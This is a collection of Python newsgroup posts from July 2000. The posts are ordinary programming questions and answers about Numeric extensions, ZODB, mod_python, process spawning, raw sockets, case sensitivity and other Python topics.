> There can be also one or two assembled packages for dummies-only, with the
> easiest interface and most foolproof implementation.
> 
> How's that for a long term project?  :-)
> 

This is THE SAME long term project that PyLab represents (it is only a
loose collection of packages at http://oliphant.netpedia.net at the
moment due to my time constraints).  In a broader context,
NumPy was written with this express purpose in mind --- adding
mathematical toolboxes to Python.  Peauru Peterson and Paul Dubois both
wrote automatic Fortran parsing tools to help in this work.  

If we are really going to attract developers, I'd argue we need toolboxes
and easy help documentation, over specific syntax.  People can get over
at-first-awkward syntax easily, but it's a harder sale when you keep
having to tell them that they will have to "roll-their-own" solution to
implement this or that functionality.

-Travis






From ssthapa at midway.uchicago.edu  Wed Jul  5 14:22:43 2000
From: ssthapa at midway.uchicago.edu (Suchandra Thapa)
Date: Wed, 05 Jul 2000 18:22:43 GMT
Subject: Random number generation, simple question.
References: <Pine.GSO.4.21.0007031546410.25965-100000@luna.dsv.su.se>
Message-ID: <slrn8m4ov8.1ct.ssthapa@ntcs-ip48.uchicago.edu>

Kalle Svensson <kalle at gnupung.net> wrote:
>Hello.
>
>I have a few questions about the (pseudo) random number generator supplied
>in the standard library. I need 80 random bits (for a CipherSaber IV) but
>I hear most RNG's only supply 32 bits or less. My questions are:
>
> * How many random bits does whrandom.random() generate?
>
> * Suppose I do a loop where I get a byte at a time and then re-seed the
>   generator either with random numbers from the generator or with values
>   from time. Will that improve the randomness?

    This may not be entirely wise.  An psuedo-random number generator
eventually cycles and starts repeating.  The problem is that the seed
supplied to the prng affects how quickly it loops and the distribution
of the numbers the prng generates.  If you feed random numbers into 
the prng youo could end up with weaker encryption than you think. 


-- 
------------------------------------------------------------------

Suchandra S. Thapa 
s-thapa at uchicago.edu

------------------------------------------------------------------


From bjorn at roguewave.com  Thu Jul 27 14:00:02 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Thu, 27 Jul 2000 12:00:02 -0600
Subject: Python is wierd!
References: <LNBBLJKPBEHFEDALKOLCOEMPGLAA.tim_one@email.msn.com> <8lk1c5$fv4$1@nnrp1.deja.com> <Pine.A32.3.90.1000725123438.17707C-100000@elvis.med.Virginia.EDU> <8llqkl$rof$1@nnrp1.deja.com> <397FC213.88603B9E@see.my.signature> <u7la8m8ir.fsf@ctwd0143.fitlinxx.com>
Message-ID: <398078A2.6B8196AD@roguewave.com>

David Bolen wrote:
> 
> Greg Ewing <to_get_my_address at see.my.signature> writes:
> 
> > And to answer your question, yes, you can create an instance
> > variable at any time simply by executing "instance.name = value".
> 
> Which actually leads to an interesting question relating to a point
> that I'm curious how others handle.
> 
> If I'm going to package up some state (various bits of information)
> into a class (aka using one as a structure - data only), one approach
> could be to define an empty class:
> 
>     class MyInfo:
>         pass
> 
> and then whenever I need to later:
> 
>     newstate = MyInfo()
>     newstate.variable = value
>     newstate.other_variable = value

[snip]

Whenever I feel the need to do something like this I use a dictionary
instead...

-- bjorn



From heath7952 at my-deja.com  Wed Jul  5 12:29:51 2000
From: heath7952 at my-deja.com (heath7952 at my-deja.com)
Date: Wed, 05 Jul 2000 16:29:51 GMT
Subject: Wanted: compile.py
Message-ID: <8jvnp5$f4r$1@nnrp1.deja.com>

Does anyone have a copy of compile.py referred to in the "Python
Building C/C++ extensions documentation". I can't reach the website, or
find it elsewhere.

Thanks in advance.

Heath.


Sent via Deja.com http://www.deja.com/
Before you buy.


From johnvert at my-deja.com  Sun Jul  9 14:58:23 2000
From: johnvert at my-deja.com (johnvert at my-deja.com)
Date: Sun, 09 Jul 2000 18:58:23 GMT
Subject: Py_Apache Vs. mod_python
References: <3963CF19.3F4CDA8D@bioeng.ucsd.edu> <87zonvso9c.fsf@cachemir.echo-net.net> <71vfmsc0sspvpg3mq8k3s1ri653908u9nk@4ax.com> <396863B7.875EA939@stroeder.com>
Message-ID: <8kai0a$7g6$1@nnrp1.deja.com>

In article <396863B7.875EA939 at stroeder.com>,
  Michael =?iso-8859-1?Q?Str=C3=B6der?= <michael at stroeder.com> wrote:
> Tim Roberts wrote:
> >
> > I'll say.  Am I correct in understanding that the basic purpose of
> > "mod_snake" is to allow me to write other Apache modules in Python,
while
> > PyApache is a module which lets me run Python CGI scripts without
> > launching a separate interpreter,
>
> Yes. PyApache resets the Python interpreter everytime which leads to
> reloading of the modules for every hit.
>
> With mod_python you can write Apache handlers but also wrap normal
> CGI-BIN scripts without having to reload the modules for every hit.
>
> Ciao, Michael.

Which one of these modules can you use to write embedded python code?
I.e.

foo.html.py:
<html>
<body>
Looping through red, blue, green:
<python>
colors = ['red', 'blue', 'green']
for color in colors:
    print color
</python>
</body>
</html>

Thanks,
 -- John


Sent via Deja.com http://www.deja.com/
Before you buy.


From cut_me_out at hotmail.com  Sun Jul  2 08:31:15 2000
From: cut_me_out at hotmail.com (Alex)
Date: 02 Jul 2000 08:31:15 -0400
Subject: Problem with dynamically linked extensions that use Numeric
Message-ID: <etdbt0g1zos.fsf@w20-575-116.mit.edu>

Hi.  I have been writing an extension that uses the Numeric API.  Up
until now, I have just been building it straight into python, and it's
working fine.  However, I want to make it more widely available, so I
need to make shared objects from it.  The problem with that is that it
segfaults.  Here is a small piece of code that demonstrates the problem
I am having:

///////////////////////////////////////////////////////////////////////////////
#include "Python.h"
#include "arrayobject.h"

PyObject *test_array_test (PyObject *self, PyObject *args) {
  PyObject *t;
  int dimensions[2], i;
  
  if (!PyArg_ParseTuple (args, "")) {
    return NULL;
  }

  dimensions[0] = 10; dimensions[1] = 12;
  for (i=0; i < 20; i++) {
    printf ("testing\n");
    t = PyArray_FromDims (2, dimensions, PyArray_INT);
  }
  if (!t) {
    return NULL;
  }
  return t;
}

static PyMethodDef Test_ArrayMethods[] = {
  {"test", test_array_test, METH_VARARGS},
  {NULL, NULL}
};

void inittest_array () {
  (void) Py_InitModule ("test_array", Test_ArrayMethods);
}

///////////////////////////////////////////////////////////////////////////////

I compiled this using the 'make -f Makefile.pre.in boot' method.  Here
were the commands make generated:

[alex_c at puffin blast]$ make test_arraymodule.so
gcc  -I/scratch2/alex/include/python2.0/Numeric -g -O2 \
              -I/scratch2/alex/include/python2.0 \
              -I/scratch2/alex/include/python2.0 -DHAVE_CONFIG_H \
              -c ./test_arraymodule.c
gcc -shared  test_arraymodule.o  -o test_arraymodule.so

This code segfaults when it hits the line 
't = PyArray_FromDims (2, dimensions, PyArray_INT);'  But when it's
compiled directly in to python (i.e., I move the file into the Modules
directory of the python source, and add a corresponding entry in the
Setup file,) it works fine.

I'd be grateful for any ideas as to how to get this to work.

Alex.


From nobody at nowhere.nohow  Fri Jul 28 21:26:21 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sat, 29 Jul 2000 01:26:21 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <8lrt2h013fp@news2.newsguy.com> <3981BE50.23DB16C5@infercor.no> <8lsu2a02ho4@news2.newsguy.com>
Message-ID: <slrn8o4clt.abr.nobody@isis.visi.com>

In article <8lsu2a02ho4 at news2.newsguy.com>, Alex Martelli wrote:

>7 bits and up, anything goes.  But everything else's size (except
>for bit-fields, a peculiar oddity) is a multiple of char's size,
>so the latter's size is often called a 'byte' (which need not be
>the same thing as an 'octet', though it often is:-).

And all hell generally breaks loose when it isn't -- especially when two
programs are communicating and they have differing defintions of how many
bits there are in a byte.  But that's a whole different rant.

-- 
Grant Edwards                   grante             Yow!  I wonder if I ought
                                  at               to tell them about my
                               visi.com            PREVIOUS LIFE as a COMPLETE
                                                   STRANGER?


From jim at digicool.com  Tue Jul 11 17:46:38 2000
From: jim at digicool.com (Jim Fulton)
Date: Tue, 11 Jul 2000 17:46:38 -0400
Subject: POOP / Python (Object Oriented Persistence) ?
References: <003001bfeb2f$99f60250$f0c809c0@lslp7o.lsl.co.uk> <3dzonozm72.fsf@kronos.cnri.reston.va.us>
Message-ID: <396B95BE.25F9646D@digicool.com>

Andrew Kuchling wrote:
> 
> "Tony J Ibbs (Tibs)" <tony at lsl.co.uk> writes:
> > OK - I've lost one snag, so here's a new one (although much less
> > important) - it's not clear (from the web pages) how to install the ZODB if
> > one *doesn't* care about Zope in general - *presumably* one has to download
> > the standard Zope distribution and just answer some questions?
> 
> I've submitted setup.py scripts that use the Distutils to install just
> ExtensionClass, or just the ZODB, and makes it pretty easy.  Brian
> Lloyd at Digicool, who's responsible for Zope releases, has said that
> the scripts will get looked at after Zope 2.2final ships; I'd guess
> that will happen in a week or so.  I'm pushing hard to get the ZODB
> packaged separately, because it'll be hard to use in Python
> applications if you can only get it by downloading all of Zope.

FWIW, we want to see ZODB packages separately too. Soo much to 
do, so little time. Waaaaaaaa.

> > I still think someone should be pushing this more...
> 
> Agreed; the ZODB is really quite cool!  At work we're beginning to use
> ZODB for storing business-related objects, and it's an interesting
> learning experience.  The major issues so far are:
> 
>         1) lack of documentation, particularly for various advanced
>         properties of the ZODB.

Sigh.

>         2) the use of ExtensionClass means that the standard Python
>         isinstance() doesn't work any more, so you need to use a
>         modified version. 

FWIW I provided a patch to isinstance to make it work with 
ExtensionClass and AFAIK, the patch got checked in, so
isinstance should work with ExtensionClass in the next 
release of Python and in the Python CVS.

>         We've also hit things like ExtensionClass
>         not supporting __radd__; the resulting symptoms are often
>         mysterious and it's time-consuming to pin down what the
>         problem is.

Yes, unfortunately, the numeric protocol is a weakness because
it's hard and because we (Zope) don't rely on it much. I'd love to
see it improved. For that matter, I'd love to see some future
release of Python render ExtensionClass unnecessary.
 
>         3) lack of an easy installation method, which is why I wrote
> the setup.py scripts.

Thanks. :)

Jim

--
Jim Fulton           mailto:jim at digicool.com   Python Powered!        
Technical Director   (888) 344-4332            http://www.python.org  
Digital Creations    http://www.digicool.com   http://www.zope.org    

Under US Code Title 47, Sec.227(b)(1)(C), Sec.227(a)(2)(B) This email
address may not be added to any commercial mail list with out my
permission.  Violation of my privacy with advertising or SPAM will
result in a suit for a MINIMUM of $500 damages/incident, $1500 for
repeats.


From anders.eriksson at morateknikutveckling.se  Mon Jul 31 06:15:30 2000
From: anders.eriksson at morateknikutveckling.se (Anders M Eriksson)
Date: Mon, 31 Jul 2000 12:15:30 +0200
Subject: smtplib and cgi
Message-ID: <g5kaoso4ejj2p8c71e9920v9vu9qik95e8@4ax.com>

Hello!

Is it possible to use smtplib to create and send mail from a CGI
application?

Or is there some better way?

// Anders



From bjorn at roguewave.com  Tue Jul 25 11:52:38 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Tue, 25 Jul 2000 09:52:38 -0600
Subject: Searching a binary file
References: <yfmu2dfv5xv.fsf@erato.i-did-not-set--mail-host-address--so-shoot-me> <397C8195.E7DA03A3@roguewave.com> <yfm3dkyg355.fsf@erato.i-did-not-set--mail-host-address--so-shoot-me>
Message-ID: <397DB7C6.1BD84D5A@roguewave.com>

luthi at vaw.baug.ethz.NOSPAM.ch wrote:
> 
> Thank you for your reply. This is obvious, but it won't work on large files
> (exceeding memory). This is why I read the file in chunks and searched these
> chunks. How should I choose the size of these chunks?

Well, that depends on your memory <wink>. I've got 256Mb on my desktop,
so I tend not to worry about it ;-)

> Is there a speed issue using string.find() or the regular expression search()?

string.find() is faster (sometimes much faster).

-- bjorn



From hopper at omnifarious.mn.org  Tue Jul 18 20:14:07 2000
From: hopper at omnifarious.mn.org (Eric Hopper)
Date: Tue, 18 Jul 2000 18:14:07 -0600
Subject: Does Python support interfaces?
References: <MPG.13dd4ec32cbe48e98982a@news.onlynews.com> <vndlmz0b5jp.fsf@camelot-new.ccs.neu.edu> <Rv_c5.1492$6E.294613@ptah.visi.com> <8l2i4101pon@news2.newsguy.com>
Message-ID: <3x5d5.1596$6E.309563@ptah.visi.com>

In article <8l2i4101pon at news2.newsguy.com>, "Alex Martelli"
<alex at magenta.com> wrote:
> 
> Yep, it is exactly what C++ does in its templates.  Of course, they're
> resolved at compile-time in C++, but then Python is not about
> compile-time vs run-time distinctions, is it?

I know.  It's what I dislike about templates in C++.  An occasional
project of mine is wrapping all of the silly STL things in a properly
defined interface hierarchy to both avoid all that extra code being
generated for new types, and so STL is, IMHO, conceptually cleaner.

> See Austern's excellent book on Generic Programming (and, also, on the
> STL) about the GP metaconstruct he calls "concept", and how and why it's
> not modeled by inheritance even in C++.  The compiler cannot diagnose
> many kind of concept-violations anyway (they're deeply semantic, e.g.,
> the concept that a certain function imposes a strict weak ordering) so
> little is really gained by compile-time checks.

Now, this is a worthwhile suggestion.  Thanks!  Maybe (s)he'll be able to
change my mind.  :-)

I agree about the concept violation problem.  I mostly think that
interfaces make a nice form of enforced documentation, and reduce code
bloat in languages with static type checking.

-- 
Eric Hopper  <hopper at omnifarious.mn.org>
http://www.omnifarious.org/~hopper



From Jelske.Kloppenburg at gmd.de  Thu Jul  6 07:20:39 2000
From: Jelske.Kloppenburg at gmd.de (Jelske.Kloppenburg at gmd.de)
Date: 6 Jul 2000 11:20:39 GMT
Subject: Compiler switches for install
In-Reply-To: <8jvi1j$412$1@hop.gmd.de>
References: <8jvi1j$412$1@hop.gmd.de>
Message-ID: <8k1q27$62l$1@hop.gmd.de>

On 07/05/00, Jelske.Kloppenburg at gmd.de wrote:
>... additional compiler 
>and/or
>linker options are required."
>
>Where, how and when can I set the options?
>

I did it. You don't need to answer.

j.k.

-- 
  Jelske Kloppenburg, +49 2241 14-2433, <Jelske.Kloppenburg at gmd.de>
  GMD - German National Research Center for Information Technology



From mkrisch at netscape.net.bbs  Mon Jul 17 23:20:07 2000
From: mkrisch at netscape.net.bbs (mkrisch at netscape.net.bbs)
Date: 18 Jul 2000 03:20:07 GMT
Subject: hexidecimal output as default?
Message-ID: <3bRZA7$j9m@openbazaar.net>

how can i make it so the interpreter defaults to hexidecimal output?

what i mean is the following:

>>> i = 0xa
>>> print i
10
>>> i
10

what i really want is to get the following:

>>> i = 0xa
>>> i
0xa

--mk


Sent via Deja.com http://www.deja.com/
Before you buy.


From johannes at zellner.org  Sun Jul  9 15:07:00 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Sun, 9 Jul 2000 21:07:00 +0200 (CEST)
Subject: Static member variables
In-Reply-To: <8kahdq$5e2$1@zingo.tninet.se>
Message-ID: <Pine.LNX.4.21.0007092101060.4739-100000@krispc6.physik.uni-karlsruhe.de>

On Sun, 9 Jul 2000, Thomas Svensson wrote:

> Hello,
> 
> Is there a way of declaring static (and constant) member variables in
> classes? I have a member variable that should be unique for each class
> type and thus should not waste memory for each instance of the class I
> create. Something like the __doc__ string I guess.

const is not possible, it's up to you not to modify your variables.
static is possible see this example. The class variable (static in
C++ jargon) is named with the class name: `Fred.count'

class Fred:
    count = 0
    def __init__(self):
        Fred.count = Fred.count + 1
    def instances(self):
        return Fred.count

x = Fred()
print x.instances()
y = Fred()
print x.instances()
z = Fred()
print x.instances()

-- 
   Johannes




From olivierS.dagenaisP at canadaA.comM  Sun Jul 16 12:03:44 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sun, 16 Jul 2000 16:03:44 GMT
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz> <jbPb5.1245$bb.28195@news101.telia.com> <%%Rb5.109206$HK2.1930096@news20.bellglobal.com> <o8kc5.203$rg.9815@news101.telia.com>
Message-ID: <A1lc5.87653$W35.2011983@news20.bellglobal.com>

VB's IDE is more than just a text editor.  Every line is checked for syntax
errors and I think compiled in the background.  Of course no other editor
could be as good, unless they also had access to the VB compiler/debugger.

Using VC's autocompletion/intellisense, you can get similar results to VB,
so something like this can be done for any language, that is correct, but
not to the extent where the editor is also a compiler.  It may not be all
that hard to implement self-correction and syntax checking in Python, since
we have "exec", but you are right:  without variable declarations this can
prove to be difficult.  Maybe whoever implements a self-correcting/syntax
checking IDE for Python should enfore a convention for "declaring" the
variables, without affecting the language itself.  Something like this, for
example:  (I'm new to Python, so please excuse the big fat mistakes I might
have made)

def SpamWindow ( ):
    " Will draw the value of m_Spam to the DC associated with the current
window handle "
    # var m_Spam, m_hWnd, m_hDC

    m_hWnd = GetCurrentWindowHandle ( )
    m_hDC = GetDCFromhWnd ( m_hWnd )
    m_Spam = m_Spam + 42
    DrawToDC ( m_hDC, m_Spam )
    DestroyWindow ( m_hWnd )

Where the variables are declared in the form of a comment that starts with
the letters "var" which, I think, is how JavaScript declares variables,
isn't it?  So, by having a line at the beginning of a function (right after
the description line, which I hope I didn't screw up) indicating the names
of the variables we intend to use, any name that isn't in that list and
isn't in anything we imported would be highlighted as a mistake, and if only
the case differs, the editor would make the case match the declaration...

Naming conventions are great, but also impossible to get everybody on earth
to accept (and use) them, unless your language enforces it, primarily
because we tend to think different, the latter being a wonderful thing!  So
your naming convention is probably wonderful, but maybe also different than
that of a third party, whose module you want to use....

Come to think of it, I don't think I have a problem with the language being
case-sensitive.  I have a problem with the editor making me think about a
detail that I have come to not have to worry about by using VB.  VB may or
may not be case sensitive, I wouldn't really know, but what's great is that
I don't have to worry about it.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Anders Eggers-Krag" <aek at aek.dk> wrote in message
news:o8kc5.203$rg.9815 at news101.telia.com...
> I know that the VB IDE does this, but that is exactly because Microsoft
> realised
> that case sensitivity has advantages, and then they enforced case
> sensitivity in a
> way that is, agreed, in many ways smart. The real problem in Python does
not
> occur because of case sensitivity it occurs because you do not need to
> declare
> your variables. Case sensitivity is a good way way to keep the same case
> across
> different development platforms - the VB concept only works because if you
> write
> VB you use Microsofts VB IDE, not Ultra Edit, Emacs, notepad, Borland, you
> name it.
> Mircosofts system enforces IDE monopoly, which is anoying since I do not
> like the Visual
> studio IDE, I strongly prefer Borlands, or even better Ultra Edit.
>
> And the VB IDE concept could easily be implementet in a case sensitive
> language as well.
>
> And one more thing, you do not need to remeber the case of any single
> variable if you keep
> a strict definition of how case should be used: in my case all new words
> start with capital,
> except the first word of a property, method or simple type - that way I am
> never in doubt
> as to 1: what type I am dealing with, 2: never in doubt as to what the
case
> is suposed to be used...
>
> --
> Anders Eggers - Krag
>





From greg at perceval.be  Fri Jul 14 05:30:49 2000
From: greg at perceval.be (Gregoire Welraeds)
Date: Fri, 14 Jul 2000 11:30:49 +0200 (CEST)
Subject: calling .exe inside a .py?
In-Reply-To: <8kl6jg$v13$1@nnrp1.deja.com>
Message-ID: <Pine.BSF.4.10.10007141102560.5961-100000@hercule.perceval.be>

In reply to the message of shindich at my-deja.com sent on Jul 13 (see below) :

> Try this:
> 
> import os
> os.execl ('foo.exe')

execl is  kind of alias for execv. So using this solution, be aware of the
following:

execv (path, args) 
Execute the executable path with argument list args, replacing the
current process (i.e., the Python interpreter). The argument list may be a
tuple or list of strings. Availability: Unix, Windows. 

This mean tha if you have the following code in a file:

	import os
	os.execv("/bin/ls",("ls","/"))
	print "Done!" 

Last line will never be executed because the python process is replaced by
the /bin/ls command. To avoid this, Unix allows you to use the fork system
call :
	import os
	i= os.fork()
	if i != 0:
		os.waitpid(i,0) # wait for the child to complete.
		print done!
	else:	#  child process
		os.execv("/bin/ls",("ls","/"))
	
An other and easier solution which also works under Windows :

	import os
	os.system("foo.exe")
	print 'Done!'


Sincerly yours

--
Life is not fair
But the root password helps
--

Gregoire Welraeds
greg at perceval.be
Perceval Development team
-------------------------------------------------------------------------------
Perceval Technologies sa/nv	Tel: +32-2-6409194		
Rue Tenbosch, 9			Fax: +32-2-6403154		
B-1000 Brussels			general information:   info at perceval.net
BELGIUM				technical information: helpdesk at perceval.net
URL: http://www.perceval.be/
-------------------------------------------------------------------------------

On Thu, 13 Jul 2000 shindich at my-deja.com wrote:

> Date: Thu, 13 Jul 2000 19:51:21 GMT
> From: shindich at my-deja.com
> To: python-list at python.org
> Newsgroups: comp.lang.python
> Subject: Re: calling .exe inside a .py?
> 
> In article <8kl527$tke$1 at nnrp1.deja.com>,
>   level2junkie at my-deja.com wrote:
> > Does anyone know how to call an .exe file from inside a .py file?
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.
> >
> Try this:
> 
> import os
> os.execl ('foo.exe')
> 
> For more info read http://www.python.org/doc/current/lib/os-process.html
> 
> Regards,
> 
> Alex Shindich
> http://www.shindich.com/
> 
> 
> Sent via Deja.com http://www.deja.com/
> Before you buy.
> -- 
> http://www.python.org/mailman/listinfo/python-list
> 
> 




From collins at manhattan.aero.org  Tue Jul 11 10:57:45 2000
From: collins at manhattan.aero.org (Jeff Collins)
Date: Tue, 11 Jul 2000 07:57:45 -0700
Subject: [ANN] Python port to Palm Pilot
In-Reply-To: <8kf8h9$ica$1@nnrp1.deja.com>
References: <200007070140.SAA31035@wd264.aero.org>
	<200007101546.IAA09887@rushe.aero.org>
	<FxIJ0z.H28@world.std.com>
	<14698.38478.979087.248189@malibu.aero.org>
	<8kf8h9$ica$1@nnrp1.deja.com>
Message-ID: <14699.12567.758815.250905@malibu.aero.org>

Tom Smith writes:
 > So, forgive my ignorance, what exactly does palmPython (snigger)
do?

Currently the very little integration with the palm
environment - stdout,stderr print to the screen and 
the input comes from pre-compiled modules.  This will, of course,
change.  For the time being, when the development environment 
is installed, applications can be created from python modules
in a manner analogous to python's freeze mechanism.  The
resulting application, in combination with the python vm (pylib.prc)
can be run on the palm.

 > 
 > I too installed before reading any docs, ran it...thought I'd crashed
 > it, then typed ...
 > print "testeroony"
 > ..and it went away and ran some tests...

Soon, there will be a front-end for interactive use.


Jeff



From mskott at image.dk.bbs  Sun Jul 16 11:10:03 2000
From: mskott at image.dk.bbs (mskott at image.dk.bbs)
Date: 16 Jul 2000 15:10:03 GMT
Subject: Imports in classes??
Message-ID: <3bQQXR$jK5@openbazaar.net>

Hi

Im currently writing a database applikation using Python and
PostgreSQL. Because I need both a GUI and a web interface i have
chosen to divide the program in three classes (and files): one containing my
database queryes and one for each interface type. But where would be
the right place to import my database connection module (pygresql)? In
each interface file or in the query file?
I guess both solutions would would work, but what would be the "right
thing"?

--
Martin Sk?tt
mskott at image.dk

Believe nothing no matter where you read it or who has said it, not even if I
have said it, unless it agrees with your own reason and your own common sense.
--Buddha


From neilh at scintilla.org  Wed Jul 12 07:59:08 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Wed, 12 Jul 2000 11:59:08 GMT
Subject: Extending PythonWin
References: <396c4f8a.787419228@news.online.no>
Message-ID: <g4Za5.15578$Tb7.99067@news-server.bigpond.net.au>

> 2. Make some system so that users could make small scripts/modules
> appear in the menues etc. I`d like to have a code revision system for
> instance, and if there were a simple way of making modules available
> from inside PythonWin, this could be done in a snap. ( For experienced
> programmers that is. ;-> )

   You can add items to the Tools menu.

   In regedit, find (substituting your version of Python for 1.6)
HKEY_CURRENT_USER\Software\Python 1.6\Python for Win32\Tools Menu
   There is a list of numbered keys.
   Create a new key one larger than the last.
   Change the (Default) value of this key to the name you want as the
command.
   Add a "Command" string value to the key.
   Edit the value of the Command value to be some arbitrary Python code.
Remember ';' can be used to separate multiple statements.
   Start PythonWin and the new command will be present in the Tools menu.
   There is also a GUI for this in the Tools Menu pane of the Options Dialog
but it doesn't always work.

   Neil





From bjorn at roguewave.com  Thu Jul 20 16:50:43 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Thu, 20 Jul 2000 14:50:43 -0600
Subject: Checking for end of a file
References: <InId5.59171$ZI2.2276534@news1.rdc1.on.wave.home.com>
Message-ID: <39776623.5B245EF5@roguewave.com>

CB wrote:
> 
> If I'm iterating through a text file, reading one line at a time within a
> while statement, how do I check for the end of file.  I tried while
> filename.eof and filename.eof() but to no avail?
> 
> Colin

The two standard idioms are:

  f = open(...)
  for line in f.readlines():
    <do something with line>

and

  while 1:
    line = f.readline()
    if not line: break
    <do something with line>

The second one works by the fact that f.readline() returns '\n' for
empty lines and '' (the empty string, aka false) when reaching the
end-of-file.

I'm-not-even-going-to-try-to-defend-while-1'ly y'rs
-- bjorn



From jdub at nospam.net  Tue Jul 11 15:35:31 2000
From: jdub at nospam.net (someguy)
Date: Tue, 11 Jul 2000 15:35:31 -0400
Subject: Enumerating drives in Python or wxPython
References: <8aKa5.485$652.11285@newsc.telia.net>
Message-ID: <8kft65$rnc$1@news2.acs.oakland.edu>

Drive letters could easily be enumerated using com & following the VB Script
examples, only substituting python instead.

Drive letters aren't a cross platform concept.  I know of no native Python
functions to perform this action.

-Jay R. Wren

"Lars Lundstedt" <lars.lundstedt at telia.com> wrote in message
news:8aKa5.485$652.11285 at newsc.telia.net...
> The subject line says it all. How do I do it?
> Anyone who knows?
>
> /LasseLu
>
>




From ge at nowhere.none  Fri Jul 14 11:50:47 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 14 Jul 2000 15:50:47 GMT
Subject: raw socket exapmle?
References: <woFb5.1075$6E.147665@ptah.visi.com>
Message-ID: <rFGb5.1091$6E.150413@ptah.visi.com>

In article <woFb5.1075$6E.147665 at ptah.visi.com>, Grant Edwards wrote:

>Does anybody know where I can find an example of how to
>send/receive raw Ethernet frames?   The C examples I've found
>use either AF_INET/SOCK_PACKET or PF_PACKET/SOCK_RAW.
>
>The socket module doesn't support SOCK_PACKET or PF_PACKET, so
>I'm trying to use AF_INET/SOCK_RAW.  I can't figure out the
>format of the address string to pass to bind() to select the
>ethernet interface to use.

After looking at the source code for the socket module in 1.52
and 1.6a2, it doesn't look like either RAW or PACKET sockets
are supported.

Darn.  Maybe I'll work on that.  It should be pretty trivial to
add for Linux.

Does Win32 support any type of raw access to Ethernet devices?

-- 
Grant Edwards                   grante             Yow!  I have the power
                                  at               to HALT PRODUCTION on all
                               visi.com            TEENAGE SEX COMEDIES!!


From hinsen at cnrs-orleans.fr  Fri Jul 28 08:32:25 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 28 Jul 2000 14:32:25 +0200
Subject: [Draft] Open Letter to CNRI: Request for clarification
References: <39816303.C808D05A@nowonder.de>
Message-ID: <m3r98ecu5i.fsf@chinon.cnrs-orleans.fr>

Peter Schneider-Kamp <nowonder at nowonder.de> writes:

> I like the idea of an open letter to CNRI expressing the concern of the
> Python Language Community. It cannot hurt to have them know what we feel
> about the issues at hand. Unfortunately, as Martijn observed, the issues

Looks like a good idea, count me in. Perhaps it would also help to
add Python-based projects that are administrated by the people who
sign the letter, to show that serious users are concerned and not
just people who love signing open letters.

And you can add me to the list, of course.

> P.S.:
> I find it rather startling that you see a need to change the license of
> a software whose development already has moved away from your institution.

I would rather not mention this issue. If the move to BeOpen is the
reason for CNRI's prolonged legal fight, then it's better not to
point it out again. And if it isn't, it's better not to suggest a
new argument to them.
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From richard_chamberlain at ntlworld.com  Tue Jul 11 00:48:41 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Tue, 11 Jul 2000 05:48:41 +0100
Subject: Looking for a tree widget with control of text color
References: <SMta5.147482$7o1.3697839@news2.rdc1.on.home.com>
Message-ID: <XExa5.10600$_O.178276@news2-win.server.ntlworld.com>

Hi Tom,

If you look in your python directory under tools you should see idle, in
there is TreeWidget.py.

It would be no problem getting Tkinter to do what you want but it would take
a bit of effort on your part.

Richard
Tom <tom-main at REMOVEME.home.com> wrote in message
news:SMta5.147482$7o1.3697839 at news2.rdc1.on.home.com...
>
> Is there a tree widget for wxPython or TKinter that support setting the
text
> color (foreground or background) for each node?
>
> Ideally it could also be updated dynamically.
>
> I heard that there is a good tree widget in IDLE, called TreeWidget, but I
> can't find it.  Do I have the name right?  I found the IDLE source code in
> with the Python 1.5.2 source code but there was nothing called TreeWidget
> there.
>
> Thanks,
>
> Tom.
>
>
>




From gmcm at hypernet.com  Mon Jul 10 14:49:47 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 10 Jul 2000 18:49:47 GMT
Subject: PythonService file creation
References: <8kbel1$qrp$1@nnrp1.deja.com>
Message-ID: <8F6D93D27gmcmhypernetcom@199.171.54.154>

Dale Burnett wrote:

>When running my app at the command prompt using the debug option I can
>create a new file and write to it.  When the app is started via Control
>Panel/Services the file is not created and written too.  I have used the
>python native file functions and the NT api CreateFile() function.  I
>have tried running the service using the System Account with Interact
>with Desktop checked and specifying an account.
>Any suggestions?

Besides the account it's running under, the only other problem I can think 
of is relying on some (mistaken) notion of what the current directory is.

I've written files from services, so I know there's no showstopper.

- Gordon


From phil at geog.ubc.ca  Fri Jul 21 15:45:26 2000
From: phil at geog.ubc.ca (Phil Austin)
Date: 21 Jul 2000 12:45:26 -0700
Subject: [long and fussy] But what do these operators _mean_?
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nfsh3.rb.hzhu@localhost.localdomain> <8la3bo$b55$1@agate.berkeley.edu> <m3wvifz5pj.fsf@brant.geog.ubc.ca> <8la635$bff$1@agate.berkeley.edu>
Message-ID: <m3snt3z2qx.fsf@brant.geog.ubc.ca>

ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy) writes:

> And Phil Austin writes:
>  - Any topic related to numerical methods and Python would be within
>  - the domain of that list.
> 
> Hmm?  Even if they have little to nothing to do with numpy?  I
> figured people would be as picky with list names as they are
> with operators.  ;)
> 

Obviously I can't speak for the list, and it may turn out that
Numerical Python != numpy, but since it's a descendent of matrix-sig,
I'd say it inherits the domain of its parent (which a scan of
the archive indicates was pretty far-ranging).

Phil



From steffen.ries at sympatico.ca  Sun Jul 30 08:48:18 2000
